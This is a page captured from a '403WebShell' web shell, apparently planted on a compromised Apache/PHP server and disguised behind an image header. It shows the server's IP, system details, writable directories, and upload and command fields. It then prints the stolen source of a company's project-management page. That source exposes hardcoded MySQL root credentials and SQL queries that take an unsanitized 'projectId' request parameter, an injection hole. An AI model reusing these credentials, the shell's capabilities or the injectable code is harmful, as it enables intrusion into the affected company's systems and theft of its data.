????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.19.234.118
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/productionzon/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/productionzon/project.php
<?php
	
	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("vpa");
	
	$ProjectId = $_GET['projectId'];
    $sql = "SELECT * FROM Project, ProjectStatus WHERE Project.ProjectStatusId = ProjectStatus.ProjectStatusId and ProjectId = $ProjectId";
    $result = mysql_query($sql);
	 
	  
	  while ($row = mysql_fetch_assoc($result)){ 
	  	$CompanyId =  $row['CompanyId'];
		
		$ProjectName =  $row['Name'];
		$Description =  $row['Description'];
		$RequestedDeliveryDate =  $row['RequestedDeliveryDate'];
		$scheduledDeliveryToCustomer =  $row['scheduledDeliveryToCustomer'];
		$ProjectStatusId = $row['ProjectStatusId'];
		$TimeEstimationFromIndia = $row['TimeEstimationFromIndia'];
		$estimatedICADHours = $row['estimatedICADHours'];
          		$InvoiceText = $row['invoiceText'];
          
	  }
	  
	  if($estimatedICADHours == "" || $estimatedICADHours == "NULL"){
	  	 $estimatedICADHours = 0.0;
	  }
	  
	  if($TimeEstimationFromIndia == ""){
	  	$TimeEstimationFromIndia = 0.0;
	  }
	  
	  $RequestedDeliveryDate = substr($RequestedDeliveryDate,0,10);
	  
	   $scheduledDeliveryToCustomer = substr($scheduledDeliveryToCustomer,0,10);
	  if($scheduledDeliveryToCustomer == ""){
	  	$scheduledDeliveryToCustomer = $RequestedDeliveryDate;
		
	  }
	  if($scheduledDeliveryToCustomer == ""){
	  	$scheduledDeliveryToCustomer = date("Y")."-01-01";
		
	  }
	
		$EP = "0";
		if(substr($ProjectName,0,2) == "EP"){
			$EP = "1";
		}

		
	  if($ProjectStatusId == 12){
	  	$color = "#FF0000";
	 }else if($ProjectStatusId  == 1) {
		$color = "#ffc600";
	 }else if($ProjectStatusId  == 8) {
		$color = "#00FF00";
		 }else if($ProjectStatusId  == 4) {
		$color = "#EEEEEE";
	 }else if($ProjectStatusId  == 9) {
		$color = "#0099FF";
		 }else if($ProjectStatusId  == 14) {
		$color = "#9966FF";
		
		}else{
	 	 $color = "#ffffff";
	 }

?>
<link href="../main.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; }
-->
</style>

<script type="text/javascript" src="calendar.js"></script>

<table width="850" height="64" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td valign="top" background="../images/tabb1.jpg"><table width="850" height="23" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td width="8" height="23">&nbsp;</td>
        <td width="108" valign="bottom" class="blacklink"><div align="center"><a href="?page=project&projectId=<?php echo($ProjectId);?>" class="blacklink">Project status</a></div></td>
        <td width="22" valign="bottom" class="blacklink"><div align="center"></div></td>
        <td width="100" valign="bottom" class="blacklink"><div align="center"><a href="?page=upload&projectId=<?php echo($ProjectId);?>" class="blacklink">Upload files</a></div></td>
        <td width="24" valign="bottom" class="blacklink"><div align="center"></div></td>
        <td width="105" valign="bottom" class="blacklink"><div align="center"><a href="?page=download&projectId=<?php echo($ProjectId);?>" class="blacklink">Download files</a></div></td>
        <td width="21" class="blacklink">&nbsp;</td>
        <td width="104" valign="bottom" class="blacklink"><div align="center"><a href="?page=logg&projectId=<?php echo($ProjectId);?>" class="blacklink">Project log</a></div></td>
        <td width="358" class="blacklink">&nbsp;</td>
      </tr>
    </table></td>
  </tr>
</table>
<table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="90">&nbsp;</td>
    <td width="820"><table width="820" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td colspan="5" valign="top">          <table width="821" border="0" cellpadding="0" cellspacing="0">
            <tr >
              <td colspan="4" valign="top" class="text"><span class="heading1">Project status</span>
                <table width="426" border="0" cellpadding="0" cellspacing="0">
                  <tr valign="top">
                    <td width="36" ><table width="24" height="24" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000" class="textthin">
                      <tr>
                        <td bgcolor="<?php echo($color);?>">&nbsp;</td>
                      </tr>
                    </table>                      <span class="text"><br>                    
                    </span></td>
                    <td width="390"><div align="left"><span class="textthin"><span class="heading2">Project: <?php echo($CompanyId);?>_<?php echo($ProjectName);?> (<?php echo($ProjectId);?>)</span> <br>
                    </span> </div></td>
                  </tr>
              </table></td><td width="357" valign="top" class="textthin"><div align="right"><span class="heading1"><a href="index.php"><img src="../images/Back-Arrow.jpg" width="37" height="36" border="0" align="absmiddle"></a> <a href="index.php" class="blacklinkhuge">Back to search </a></span></div></td>
            </tr>
          </table>          
          <hr width="820" size="1">
          <span class="heading2"><br>
          </span>
          <table border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td width="455" valign="top">                <form name="form1" method="post" action="setdeliverydate.php?projectId=<?php echo($ProjectId);?>">
                <table width="450" border="0" cellspacing="0" cellpadding="0">
                  <tr valign="top" class="style6">
                    <td width="225" valign="top">Set delivery date:<br>
                        <span class="textthin">(Requested delivery date: <?php echo($RequestedDeliveryDate); ?>)</span></td>
                    <td width="186">
                      <script>DateInput('orderdatedel', true, 'YYYY-MM-DD', '<?php echo($scheduledDeliveryToCustomer);?>')</script>
                    </td>
                    <td width="39"><input type="submit" name="Submit2" value="Set!"></td>
                  </tr>
                </table>
                </form>
				<form name="form3" method="post" action="setestimatedhours.php?projectId=<?php echo($ProjectId);?>">
				  <br>
				  <table width="450" border="0" cellspacing="0" cellpadding="0">
                    <tr valign="top" class="style6">
                      <td width="225" valign="top">Estimated hours: <br /></td>
                      <td width="186">
                        <input name="estimatedICADHours" type="text" id="estimatedICADHours" value="<?php echo($estimatedICADHours);?>" size="3" />
                      </td>
                      <td width="39"><input type="submit" name="Submit32" value="Set!" /></td>
                    </tr>
                  </table>
				  </form><form name="form3" method="post" action="InvoiceText.php?projectId=<?php echo($ProjectId);?>">
				  <br>
				  <table width="450" border="0" cellspacing="0" cellpadding="0">
                    <tr valign="top" class="style6">
                      <td width="225" valign="top">Invoice info (e.g. MagiCAD).</td>
                      <td width="186">
                        <input name="InvoiceText" type="text" id="InvoiceText" value="<?php echo($InvoiceText);?>" size="10" />
                      </td>
                      <td width="39"><input type="submit" name="Submit32" value="Set!" /></td>
                    </tr>
                  </table>
				  </form>
				<form name="form2" method="post" action="setestimate.php?projectId=<?php echo($ProjectId);?>">
                  <span class="text"><br>
                  </span><span class="heading2">As for now, <?php echo($TimeEstimationFromIndia);?> hours has been entered to this project. </span><br>
                  <br>
                  <table width="462" border="0" cellpadding="0" cellspacing="5" bgcolor="#CCCCCC">
                    <tr>
                      <td width="452" bgcolor="#CCCCCC">                        <table width="450" border="0" cellspacing="0" cellpadding="0">
                          <tr valign="top" class="style6">
                            <td width="227" valign="top">Enter  normal hours:<br>
                            </td>
                            <td width="180">
                              <input name="hours" type="text" id="hours2" value="0" size="3">
                              <select name="typeidnormal" id="typeidnormal">
                                <option value="1" <?php if($ICADType == 1){echo("selected");}?>>iCAD </option>
                                <option value="2" <?php if($ICADType == 2){echo("selected");}?>>iCAD+ </option>
                                <option value="3" <?php if($ICADType == 3){echo("selected");}?>>iCAD Extra</option>
                              </select>
                              <input name="companyId" type="hidden" id="companyId" value="<?php echo($CompanyId);?>">
                              <input name="oldhours" type="hidden" id="oldhours" value="<?php echo($TimeEstimationFromIndia);?>">
</td>
                            <td width="40"><input name="EP" type="hidden" id="EP" value="<?php echo($EP);?>"></td>
                          </tr>
                        </table>
                        <span class="textthin_small">NOTE: If you are entering fractions of an hour, ex: 1.5, use &quot;.&quot;, not &quot;,&quot;.</span><br>                        
                        <table width="450" border="0" cellspacing="0" cellpadding="0">
                          <tr valign="top" class="style6">
                            <td width="227" valign="top">Enter  additional hours:<br /></td>
                            <td width="180">
                              <input name="additionalhours" type="text" id="additionalhours" value="0" size="3" />
                              <select name="typeidadditional" id="typeidadditional">
                                <option value="1" <?php if($ICADType == 1){echo("selected");}?>>iCAD </option>
                                <option value="2" <?php if($ICADType == 2){echo("selected");}?>>iCAD+ </option>
                                <option value="3" <?php if($ICADType == 3){echo("selected");}?>>iCAD Extra</option>
                                                            </select>
                            </td>
                            <td width="40">&nbsp;</td>
                          </tr>
                        </table>
                        <br>
                        <table width="450" border="0" cellspacing="0" cellpadding="0">
                          <tr valign="top" class="style6">
                            <td width="251" valign="middle">Date when hours shall be entered: <br /></td>
                            <td width="157" valign="middle">
                              <input name="logdate" type="text" id="logdate2" value="<?php echo(date("Y-m-d"));?>" size="15" maxlength="10" />
                            </td>
                            <td width="39"><input type="submit" name="Submit3" value="Set!" /></td>
                          </tr>
                        </table></td>
                    </tr>
                  </table>
                  </form>                
				  <form name="form2" method="post" action="acceptgotomeeting.php?projectId=<?php echo($ProjectId);?>&action=gotomeeting">
				    <br>
                <table width="450" border="0" cellspacing="0" cellpadding="0">
                  <tr valign="top" class="style6">
                    <td width="225" valign="top">Accept GoToMeeting:</td>
                    <td width="162">
                    </td>
                    <td width="63"><div align="right">
                      <input type="submit" name="Submit2" value="Accept!">
                    </div></td>
                  </tr>
                </table>
              </form>
			  <?php if($ProjectStatusId  == 1){?>
                <table width="430" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td><div align="center" class="heading1"><br>
                      The project is stoped!<br>
                      <br>
                      </div>
                      </td>
                    </tr>
                </table>
                              <?php }else if($ProjectStatusId  == 9){?>
<table width="430" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td><div align="center"><span class="heading1"><br>
                      The project is COMPLETED! </span><br>
                      <br>
                      <br>
                                        </div></td>
                    </tr>
                </table>
                <?php }else if($ProjectStatusId  == 12){?>
                <table width="430" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td width="169"><a href="action.php?projectId=<?php echo($ProjectId);?>&action=partdelivered"><img src="../images/delivered.jpg" width="150" height="149" border="0"></a></td>
                    <td width="261" valign="middle"><div align="center"><span class="heading2">Press DELIVERED to tell the client that the project is PART delivered. </span><br>
                    </div></td>
                  </tr>
                </table>
                <hr size="1">
                <table width="430" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td width="169"><a href="action.php?projectId=<?php echo($ProjectId);?>&action=delivered"><img src="../images/delivered.jpg" width="150" height="149" border="0"></a></td>
                    <td width="261" valign="middle"><div align="center"><span class="heading2">Press DELIVERED to tell the client that the project is FINAL delivered. </span><br>
                    </div></td>
                  </tr>
                </table>
                <hr size="1">
                <table width="430" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td width="169"><a href="action.php?projectId=<?php echo($ProjectId);?>&action=continue"><img src="../images/continue.jpg" width="150" height="149" border="0"></a></td>
                    <td width="261" valign="middle"><div align="center"><span class="heading2">Press CONTINE to tell the client that you have enough information to remove RFMI-status! </span><br>
                    </div></td>
                  </tr>
                </table>                <?php }else{?>
                <table width="430" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td width="169"><a href="action.php?projectId=<?php echo($ProjectId);?>&action=partdelivered"><img src="../images/delivered.jpg" width="150" height="149" border="0"></a></td>
                    <td width="261" valign="middle"><div align="center"><span class="heading2">Press DELIVERED to tell the client that the project is PART delivered. </span><br>
                    </div></td>
                  </tr>
                </table>
                <hr size="1">
                <table width="430" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td width="169"><a href="action.php?projectId=<?php echo($ProjectId);?>&action=delivered"><img src="../images/delivered.jpg" width="150" height="149" border="0"></a></td>
                    <td width="261" valign="middle"><div align="center"><span class="heading2">Press DELIVERED to tell the client that the project is FINAL delivered. </span><br>
                    </div></td>
                  </tr>
                </table>                
                <hr size="1">                
                <table width="430" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td width="169"><a href="action.php?projectId=<?php echo($ProjectId);?>&action=rfmi"><img src="../images/stop.jpg" width="150" height="150" border="0"></a></td>
                    <td width="261" valign="middle"><div align="center"><span class="heading2">Press STOP to tell the client that more information is requiered. <br>
                      Also state the problems in the log!
                    </span><br>
                    </div></td>
                  </tr>
                </table>
                <?php }?>                <br>
                <span class="heading2"><br>
                </span><span class="heading2">                    </span>
                <table width="341" border="0" cellspacing="0" cellpadding="0">
                    <tr class="text">
                      <td width="14" bgcolor="#FF0000">&nbsp;</td>
                      <td width="151">&nbsp;&nbsp;RFMI</td>
                      <td width="14" bgcolor="#ffc600">&nbsp;</td>
                      <td width="162">&nbsp;&nbsp;Not in production </td>
                    </tr>
                    <tr class="text">
                      <td width="14">&nbsp;</td>
                      <td width="151">&nbsp;</td>
                      <td width="14">&nbsp;</td>
                      <td>&nbsp;</td>
                    </tr>
                    <tr class="text">
                      <td width="14" bgcolor="#00FF00">&nbsp;</td>
                      <td width="151">&nbsp;&nbsp;Delivered</td>
                      <td width="14" bgcolor="#0099FF">&nbsp;</td>
                      <td>&nbsp;&nbsp;Completed</td>
                    </tr>
                  </table>
                  <p><span class="heading2"><br>
                </span><span class="heading2">                </span> </p></td>
              <td width="17">&nbsp;</td>
              <td width="348" valign="top"><table width="342" height="121" border="0" cellpadding="0" cellspacing="0">
                      <tr>
                        <td width="342" background="../images/platta1.jpg"><table width="300" border="0" align="center" cellpadding="0" cellspacing="0">
                            <tr>
                              <td><span class="heading2"><br>
                              Book GoToMeeting 
                            </span>
                                <form  name="meeting" action="addlogg.php?ProjectId=<?php echo($ProjectId);?>&type=meeting" method="post">
                                  <table width="251" border="0" cellspacing="0" cellpadding="0">
                                    <tr class="text">
                                      <td width="79">Day</td>
                                      <td colspan="2"><div align="left">
                                          <script>DateInput('orderdate', true, 'YYYY-MON-DD')</script>
                                          <!--<input type="button" onClick="alert(this.form.orderdate.value)" value="Show date value passed">-->
                                      </div></td>
                                    </tr>
                                    <tr class="text">
                                      <td>Time:</td>
                                      <td width="78"><select name="time" class="textthin">
                                          <option value="07:30">07:30</option>
                                          <option>08:00</option>
                                          <option>08:30</option>
                                          <option>09:00</option>
                                          <option>09:30</option>
                                          <option>10:00</option>
                                          <option>10:30</option>
                                          <option>11:00</option>
                                          <option>11:30</option>
                                          <option>12:00</option>
                                          <option>12:30</option>
                                          <option>13:00</option>
                                          <option>13:30</option>
                                          <option>14:00</option>
                                          <option>14:30</option>
                                          <option>15:00</option>
                                          <option>15:30</option>
                                          <option>16:00</option>
                                          <option>16:30</option>
                                        </select>
                                      </td>
                                      <td width="94"><div align="right">
                                          <input type="submit" name="Submit" value="Book!">
                                      </div></td>
                                    </tr>
                                    <tr class="text">
                                      <td>&nbsp;</td>
                                      <td colspan="2">&nbsp;</td>
                                    </tr>
                                  </table>
                                </form>
                                
                              </td>
                            </tr>
                        </table></td>
                      </tr>
                </table>                  
                <br>
                <table width="342" height="188" border="0" cellpadding="0" cellspacing="0">
                  <tr>
                    <td width="342" valign="top" background="../images/platta2.jpg"><br>
                        <table width="300" border="0" align="center" cellpadding="0" cellspacing="0">
                          <tr>
                            <td><span class="heading2">Your contacts: </span><br>
                                <table width="300" border="0" cellspacing="0" cellpadding="0">
                                  <?php
							     $sql = "SELECT Name, SkypeId, Phone, Email, UserGroup.UserGroupId as UserGroupId
										FROM ProjectSystemUserJoin, UserGroup, SystemUser
										WHERE UserGroup.UserGroupId = ProjectSystemUserJoin.UserGroupId
										AND SystemUser.SystemUserId = ProjectSystemUserJoin.SystemUserId
										AND `ProjectId` = $ProjectId
										AND (
										UserGroup.UserGroupId =6
										OR UserGroup.UserGroupId =5
										OR UserGroup.UserGroupId =4
										)";
									$result = mysql_query($sql);
								  
								  while ($row = mysql_fetch_assoc($result)){ 
									
									$UserGroupdId = $row['UserGroupId']; 
									
									
									$Name =  $row['Name'];
									
									if($UserGroupdId  == 6){
										$Name = $Name .", Astacus Indien";
									}else if($UserGroupdId == 5){
										$Name = $Name .", Astacus Sverige";
									}
									
									$SkypeId =  $row['SkypeId'];
									$Phone =  $row['Phone'];
									$Email = $row['Email'];
								  
								  if($SkypeId == ""){
								  	$SkypeId  = "AstacusDemoAccount";
								  }
	  							?>
                                  <tr class="textthin">
                                    <td width="35"><a href="skype:<?php echo($SkypeId);?>?call"><img src="http://mystatus.skype.com/smallicon/<?php echo($SkypeId);?>" alt="Skype?" width="16" height="16" border="0" style="border: none;" /></a></td>
                                    <td width="265"><div align="left"><?php echo($Name);?></div></td>
                                  </tr>
                                  <?php }?>
                              </table></td>
                          </tr>
                      </table></td>
                  </tr>
                </table>
                <br>
                <table width="342" height="121" border="0" cellpadding="0" cellspacing="0">
                  <tr>
                    <td width="342" valign="top" background="../images/platta1.jpg"><br>
                        <table width="300" border="0" align="center" cellpadding="0" cellspacing="0">
                          <tr>
                            <td valign="top"><span class="heading2">Customer documents <br>
                              </span>
                                <table width="295" border="0" cellspacing="0" cellpadding="0">
                                  <tr>
                                    <td width="213" valign="top" class="textthin">On this page you can upload and download customer specific documents that are generic for all the customers projects! <a href="?page=shared"><br>
                  </a></td>
                                    <td width="30">&nbsp;</td>
                                    <td width="52"><span class="heading2"><a href="?page=sharedupload&customerId=<?php echo($CompanyId);?>"><img src="../images/Forward-Arrow.png" width="45" height="45" border="0"></a></span></td>
                                  </tr>
                                </table>
                                <span class="heading2"> </span></td>
                          </tr>
                      </table></td>
                  </tr>
                </table>                
                <br>
                <table width="342" height="188" border="0" cellpadding="0" cellspacing="0">
                  <tr>
                    <td width="342" background="../images/platta2.jpg"><table width="300" border="0" align="center" cellpadding="0" cellspacing="0">
                        <tr>
                          <td><span class="heading2">Resources</span>                              <table width="160" height="100" border="0" cellpadding="0" cellspacing="0">
                                <tr>
                                  <td valign="top"><table width="143" border="0" cellspacing="0" cellpadding="0">
                                      <tr class="text">
                                        <td width="93" class="textthin">Type</td>
                                        <td width="49" class="textthin">Number</td>
                                        <td width="3" rowspan="8" class="textthin"></td>
                                      </tr>
                                      <tr >
                                        <td colspan="2">
                                          <table width="142" height="9" border="0" cellpadding="0" cellspacing="0">
                                            <?php
							 
							
							 
							 
							 
							 // kolla om det finns ett 100% avtal. Detta &auml;r viktigt eftersom antal timmar totalt i en m&aring;nad baseras p&aring; 20 arbetsdagar ist&auml;llet f&ouml;r 10.
							 $has100  = false;
							  
							$sql = "SELECT *  FROM ICADAccount, ICADType WHERE ICADAccount.ICADTypeID = ICADType.ICADTypeId and CustomerID = $CompanyId";
							 $result = mysql_query($sql);
							 while ($row = mysql_fetch_assoc($result)){ 
							 	if($row['Hours'] == 8){ // 8 = 100%
									 $has100 = true;
								}
							 }
							 
							 $total = 0;
							 $daysleft = "";
							 $sql = "SELECT * FROM ICADType ;";
							 $count = 1;
							 
							 $result = mysql_query($sql);
							 while ($row = mysql_fetch_assoc($result)){ 
							 
								  $nbr = "0 st";
								  $sql2 = "SELECT count(ICADTypeID) as Number, ICADTypeId, CustomerId, WorkDays, NextFlushDate, FlashInterval FROM ICADAccount, ICADFlush where CustomerId = $CompanyId and ICADFlush.CompanyID = ICADAccount.CustomerId  group by ICADTypeID ";
								  $result2 = mysql_query($sql2);
								  while ($row2 = mysql_fetch_assoc($result2)){ 
								  
								  	 $daysleft  = $row2['NextFlushDate'];
								     $flashinterval  = $row2['FlashInterval'];
									 
									 if($row2['ICADTypeId'] == $row['ICADTypeId']){
										 $nbr = $row2['Number']. " st";
									
										if($has100 == true){
											 $total += $row['Hours']*$row2['Number']*($row2['WorkDays']);
										}else{
											 $total += $row['Hours']*$row2['Number']*($row2['WorkDays']);
										}
										
										
										
									 }
								  }
							
							if($nbr != 0){
							
							 ?>
                                            <tr class="textthin">
                                              <td width="92" class="textthin"><?php echo($row['Name']);?></td>
                                              <td width="50" class="textthin"><?php echo($nbr);?></td>
                                            </tr>
                                            <?php 
							
							 }
							 $count++;
							 ?>
                                            <?php
							 
							 }
							 ?>
                                        </table></td>
                                      </tr>
                                  </table></td>
                                  <td valign="top"><table width="160" height="110" border="0" align="center" cellpadding="0" cellspacing="0">
                                      <tr>
                                        <?php 
								   function lastday($month = '', $year = '') {
									   if (empty($month)) {
										  $month = date('m');
									   }
									   if (empty($year)) {
										  $year = date('Y');
									   }
									   $result = strtotime("{$year}-{$month}-01");
									   $result = strtotime('-1 second', strtotime('+1 month', $result));
									   return date('d', $result);
									}
				
									
									
									$end = $daysleft ; //date("Y-m",strtotime("0 month"))."-".lastday(date("m",strtotime("0 month")),date("Y"));
								    $start_temp  = mktime(0, 0, 0, substr($end,5,2) , substr($end,8,2)-$flashinterval, substr($end,0,4));
								    $start = date("Y-m-d",$start_temp);
		  							
		  
								   $sql = "SELECT * FROM ICADTime, Project where Project.ProjectId = ICADTime.ProjectId and Project.CompanyId = $CompanyId and ICADTime.TimeDate >= '".$start." 00:00:00' and ICADTime.TimeDate <= '".$end." 24:00:00';";
									 
									 $result = mysql_query($sql);
									 $TimeSpent = 0;
									 $AdditionalHours = 0;
									 while ($row = mysql_fetch_assoc($result)){ 
										$TimeSpent += $row['Hours'];
									    $AdditionalHours +=  $row['AdditionalHours'];
									 }
									 
									    $sql = "SELECT * FROM Project where Project.CompanyId = $CompanyId ;";
									 
									 $result = mysql_query($sql);
									 $Estimated = 0;
									 while ($row = mysql_fetch_assoc($result)){ 
										$Estimated += $row['estimatedICADHours'];
									
									 }
									 
									$left2 = $total - $Estimated;
									$left1 = $total - $TimeSpent;
									if($total > 0){
										$percent1 = $TimeSpent / $total;
										$percent1 = (100-round($percent1,1)*100);
										$percent2 = $Estimated / $total;
										$percent2 = (100-round($percent2,1)*100);
								  	}else{
										$percent1 = 100; // to get p100.jpg only
										$percent2 = 100; // to get p100.jpg only
									}
									
									$percent2 = 100 - $percent2;
									
									
									if($total > 0){
										if($percent1 < 0){
											$percent1 = 0;
											if($left < 0){
											$left1 = $left1*-1;
											}
											$str1="client has used $left1 hrs <br>over the budget to: <br>$daysleft";
										}else{
											$str1="$left1 hours left to:  <br>$daysleft";
										}
									}else{
										if($left1 < 0){
											$left1 = $left1*-1;
										}
										
										$sql = "SELECT * FROM ICADAccount where CustomerID = $CompanyId;";
										$result = mysql_query($sql);
										
										$x=0;
										$ajour = false;
									    while ($row = mysql_fetch_assoc($result)){ 
											if($row['ICADTypeId'] == 9){
												$ajour = true;
											}
											$x++;
									    }
										
										if($x == 1 && $ajour == true){
											$str1="There are no account to this client!";
											$percent1 = 0;
										}else{
											$str1="Client has used $left1 hrs which will be reseted $daysleft and later billed.";
										}
									
									}


								  ?>
                                        <td><div align="center" class="textthin_small">
                                            <table width="155" height="110" border="0" cellpadding="0" cellspacing="0">
                                              <tr>
                                                <td height="33%"><table width="70" height="110" border="0" cellpadding="0" cellspacing="0">
                                                    <tr>
                                                      <td background="../images/procent/p<?php echo($percent1);?>.jpg"><div align="center"><?php echo($str1);?></div></td>
                                                    </tr>
                                                </table></td>
                                                <td height="33%"><table width="70" height="110" border="0" align="right" cellpadding="0" cellspacing="0">
                                                    <tr>
                                                      <td background="../images/procent/p<?php echo($percent2);?>.jpg"><div align="center" class="textthin_small">There are <br>
                                                              <?php echo($Estimated);?> <br>
                                                              estimated hours. </div></td>
                                                    </tr>
                                                </table></td>
                                              </tr>
                                            </table>
                                        </div></td>
                                      </tr>
                                    </table>
                                    <span class="textthin_small">Period: <?php echo($start ." - ". $end);?><br>
                  <?php echo($AdditionalHours);?> additional hrs has been entered. </span></td>
                                </tr>
                            </table></td>
                        </tr>
                    </table></td>
                  </tr>
                </table>                <p class="heading2">&nbsp; </p></td></tr>
          </table>
          <span class="style6"><br>
          </span>
          <hr width="820" size="1">
          <span class="style6">                    </span></td>
        </tr>
    </table>      
    </td>
    <td width="90">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="3">&nbsp;    </td>
  </tr>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit